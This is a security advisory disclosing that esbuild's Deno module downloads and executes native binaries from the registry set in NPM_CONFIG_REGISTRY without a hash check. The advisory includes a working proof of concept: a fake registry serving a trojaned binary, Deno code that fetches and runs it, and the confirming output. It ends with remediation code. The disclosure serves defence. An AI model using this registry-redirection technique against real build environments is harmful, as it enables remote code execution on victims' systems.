OSV-GHSA-gv7w-rqvm-qjhr

esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

### Summary The esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution. When the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution. ### Details **Vulnerable code path** — `lib/deno/mod.ts` lines 62–82: ```typescript async function installFromNPM(name: string, subpath: string): Promise<string> { const { finalPath, finalDir } = getCachePath(name) try { await Deno.stat(finalPath); return finalPath } catch (e) {} const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org" // line 70: attacker-controlled const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz` // line 71: URL uses attacker base const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 }) await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod return finalPath // line 81: no hash check } ``` **Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234: ```typescript function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void { const hash = crypto.createHash('sha256').update(bytes).digest('hex') const key = `${pkg}/${subpath}` const expected = packageJSON['esbuild.binaryHashes'][key] if (!expected) throw new Error(`Missing hash for "${key}"`) if (hash !== expected) throw new Error(...) } ``` This function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`. **Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file: ```typescript const child = spawn(binPath, { args: [`--service=${version}`], ... }) ``` **Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary. ### PoC **Prerequisites:** Deno runtime, Node.js (for fake registry) **Step 1:** Create a fake npm registry that serves a malicious binary: ```javascript // fake-registry.js const http = require('http'); const zlib = require('zlib'); http.createServer((req, res) => { const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n'; // ... build tar.gz with fake binary as package/bin/esbuild ... res.writeHead(200, {'Content-Length': gz.length}); res.end(gz); }).listen(19876, () => console.log('READY')); ``` **Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server: ```typescript // poc.ts — mimics lib/deno/mod.ts installFromNPM code path const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`; const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer()); // ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ... await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 }); // *** NO integrity check performed *** const cmd = new Deno.Command("/tmp/downloaded-binary"); await cmd.output(); // RCE: executes attacker-controlled binary ``` **Step 3:** Run: ```bash node fake-registry.js & NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts cat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED ``` **Observed output in this environment:** ``` Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz Binary written to: /tmp/deno-poc/downloaded-binary Binary content: #!/bin/sh echo PWNED > /tmp/deno-esbuild-rce-proof.txt echo fake-esbuild-0.28.0 Executing downloaded binary... stdout: fake-esbuild-0.28.0 *** RCE CONFIRMED *** Marker file content: PWNED ``` **Build-local verification — using the actual built `deno/mod.js`:** The esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from "file:///path/to/deno/mod.js"`, triggering the real `installFromNPM()` → `installFromNPM()` code path: ``` [TEST] esbuild Deno module loaded [TEST] esbuild version: 0.28.0 [TEST] *** RCE VIA ACTUAL MODULE CONFIRMED *** [TEST] Marker file content: VULN-CONFIRMED [TEST] The actual built deno/mod.js downloaded and executed [TEST] a malicious binary from the fake registry WITHOUT [TEST] performing any SHA-256 integrity verification. ``` The malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents: ``` #!/bin/sh echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt echo "0.28.0" ``` Built-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`. **Negative/control case — Node.js rejects the same fake binary:** ``` Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1 Expected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be Hashes match: false => Node.js path REJECTS the fake binary (hash mismatch) => Deno path ACCEPTS it without any check ``` ### Impact An attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in: - **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories - **Shared development environments** where environment variables may be inherited from parent processes - **Corporate networks** where npm registry mirrors are configured via this environment variable The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry. ### Suggested remediation 1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`: ```typescript // In lib/deno/mod.ts, after extracting the binary: const hashBuffer = await crypto.subtle.digest("SHA-256", executable); const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join(''); const key = `${name}/${subpath}`; const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`); ``` 2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP): ```typescript const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; if (npmRegistry.startsWith("http://")) { console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`); } ``` 3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`. **Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.